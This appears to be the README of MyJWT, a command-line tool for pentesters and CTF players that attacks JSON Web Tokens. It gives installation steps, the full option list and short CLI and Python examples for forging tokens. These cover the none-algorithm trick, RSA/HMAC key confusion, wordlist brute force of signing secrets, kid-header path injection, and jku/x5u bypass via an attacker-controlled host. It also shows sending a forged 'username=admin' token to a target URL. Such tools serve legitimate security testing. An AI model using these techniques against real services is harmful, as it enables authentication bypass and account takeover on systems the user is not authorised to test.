MyJWT – A Cli For Cracking, Testing Vulnerabilities On Json Web Token (JWT)

This cli is for pentesters, CTF players, or dev.
You can modify your jwt, sign, inject ,etc…
Check Documentation for more information.
If you see problems or enhancement send an issue.I will respond as soon as possible. Enjoy 🙂

Documentation

Documentation is available at http://myjwt.readthedocs.io

Features

• copy new jwt to clipboard
• user Interface (thanks questionary)
• color output
• modify jwt (header/Payload)
• None Vulnerability
• RSA/HMAC confusion
• Sign a jwt with key
• Brute Force to guess key
• crack jwt with regex to guess key
• kid injection
• Jku Bypass
• X5u Bypass

Installation

To install myjwt, simply use pip:

pip install myjwt

To run mywt from a docker image, run:

docker run -it docker.pkg.github.com/mbouamama/myjwt/myjwt:latest myjwt

# mount volume for wordlist
docker run -v $(pwd)/wordlist:/home/wordlist/  -it docker.pkg.github.com/mbouamama/myjwt/myjwt:latest myjwt
# On Windows
docker run -v %CD%/wordlist:/home/wordlist/  -it docker.pkg.github.com/mbouamama/myjwt/myjwt:latest myjwt

To install myjwt, on git:

git clone https://github.com/mBouamama/MyJWT.git
cd ./MyJWT
pip install -r requirements.txt
python MyJWT/myjwt_cli.py --help

To install myjwt on BlackArch:

pacman -S myjwt

Usage

$ myjwt --help
Usage: myjwt [OPTIONS] JWT

  This cli is for pentesters, CTF players, or dev.
  You can modify your jwt, sign, inject ,etc...
  Full documentation is at http://myjwt.readthedocs.io.
  If you see problems or enhancement send an issue.I will respond as soon as possible.
  Enjoy :)
  All new jwt will be copy to the clipboard.

Options:
  --version                    Show the version and exit.
  --full-payload TEXT          New payload for your jwt.Json format Required.
  -h, --add-header TEXT        Add a new key, value to your jwt header, if key
                               is present old value will be replaced.Format:
                               key=value.

  -p, --add-payload TEXT       Add a new key, value to your jwt payload, if
                               key is present old value    will be
                               replaced.Format: key=value.

  --sign TEXT                  Sign Your jwt with key given.
  --verify TEXT                verify your key.
  -none, --none-vulnerability  Check None Alg vulnerability.
  --hmac PATH                  Check RS/HMAC Alg vulnerability.
  --bruteforce PATH            Bruteforce to guess the secret used to sign the
                               token.

  -c, --crack TEXT             regex to iterate all string possibilities to
                               guess the secret used to sign the token.

  --kid TEXT                   Kid Injection sql
  --jku TEXT                   Jku Header to bypass authentication
  --x5u TEXT                   X5u Header to bypass authen   tication
  --crt TEXT                   For x5cHeader, force crt file
  --key TEXT                   For jku or x5c Header, force private key to
                               your key file

  --file TEXT                  For jku Header and x5u Header, force file name
  --print                      Print Decoded JWT
  -u, --url TEXT               Url to send your jwt.
  -m, --method TEXT            Method use for send request to url.(Default
                               GET).

  -d, --data TEXT              Data send to your url.Format: key=value. if
                               value = MY_JWT value will be replace by new
                               jwt.

  -c, --cookies TEXT           Cookies to send to your url.Format: key=value.
                               if value = MY_JWT value will be replace by new
                                  jwt.

  --help                       Show this message and exit.

Modify JWT

Check Your JWT (HS alg)

Exploit

Send your jwt

Other

Examples

• Modify Your jwt
• None Vulnerabilty Check
• Sign Key
• Brute Force Signature
• RSA/HMAC Confusion
• Kid Injection
• Send your new Jwt to url
• Jku Vulnerability
• X5u Vulnerability

Modify your Jwt

CLI

myjwt YOUR_JWT --add-payload "username=admin" --add-header "refresh=false"

Code

from myjwt.modify_jwt import add_header, change_payload
from myjwt.utils import jwt_to_json, SIGNATURE, encode_jwt

jwt_json = jwt_to_json(jwt)
jwt_json = add_header(jwt_json, {"kid": "001"})
jwt_json = change_payload(jwt_json, {"username": "admin"})
jwt = encode_jwt(jwt_json) + "." + jwt_json[SIGNATURE]

Full example here: 01-modify-jwt

None Vulnerability

CLI

myjwt YOUR_JWT --none-vulnerability

CODE

from myjwt.utils import jwt_to_json, SIGNATURE, encode_jwt
from myjwt.vulnerabilities import none_vulnerability
jwt_json = jwt_to_json(jwt)
jwt = none_vulnerability(encode_jwt(jwt_json) + "." + jwt_json[SIGNATURE])

Full example here: 02-none-vulnerability

Sign Key

CLI

myjwt YOUR_JWT --sign YOUR_KEY

CODE

from myjwt.modify_jwt import signature
from myjwt.utils import jwt_to_json
key = "test"
jwt = signature(jwt_to_json(jwt), key)

Full example here: 03-sign-key

Brute Force

CLI

myjwt YOUR_JWT --bruteforce PATH

CODE

from myjwt.vulnerabilities import bruteforce_wordlist
wordlist = "../../wordlist/common_pass.txt"
key = bruteforce_wordlist(jwt, wordlist)

Full example here: 04-brute-force

Crack

CLI

myjwt YOUR_JWT --crack REGEX

RSA/HMAC Confusion

CLI

myjwt YOUR_JWT --hmac FILE

CODE

from myjwt.vulnerabilities import confusion_rsa_hmac
file = "public.pem"
jwt = confusion_rsa_hmac(jwt, file)

Full example here: 05-rsa-hmac-confusion

Kid Injection

CLI

myjwt YOUR_JWT --kid INJECTION

Code

from myjwt.modify_jwt import signature
from myjwt.utils import jwt_to_json
from myjwt.vulnerabilities import inject_sql_kid

injection = "../../../../../../dev/null"
sign = ""
jwt = inject_sql_kid(jwt, injection)
jwt = signature(jwt_to_json(jwt), sign)

Full example here: 06-kid-injection

Send your new Jwt to url

CLI

myjwt YOUR_JWT -u YOUR_URL -c "jwt=MY_JWT" --non-vulnerability --add-payload "username=admin"

Jku Vulnerability

CLI

myjwt YOUR_JWT --jku YOUR_URL

Code

from myjwt.vulnerabilities import jku_vulnerability
new_jwt = jku_vulnerability(jwt=jwt, url="MYPUBLIC_IP")
print(jwt)

Full example here: 07-jku-bypass

X5U Vulnerability

CLI

myjwt YOUR_JWT --x5u YOUR_URL

Code

from myjwt.vulnerabilities import x5u_vulnerability
newJwt = x5u_vulnerability(jwt=jwt, url="MYPUBLIC_IP")
print(jwt)

Full example here: 08-x5u-bypass

Download

Check github releases. Latest is available at https://github.com/mBouamama/MyJWT/releases/latest

Contribute

• Fork this repository or clone it
• Create a new branch (feature, hotfix, etc…)
• Make necessary changes and commit those changes
• Check lint with make flake8
• Check unit_test with make test
• Send Pull Request I will check as Soon as Possible.

Change log

The log’s become rather long. It moved to its own file.

See CHANGES.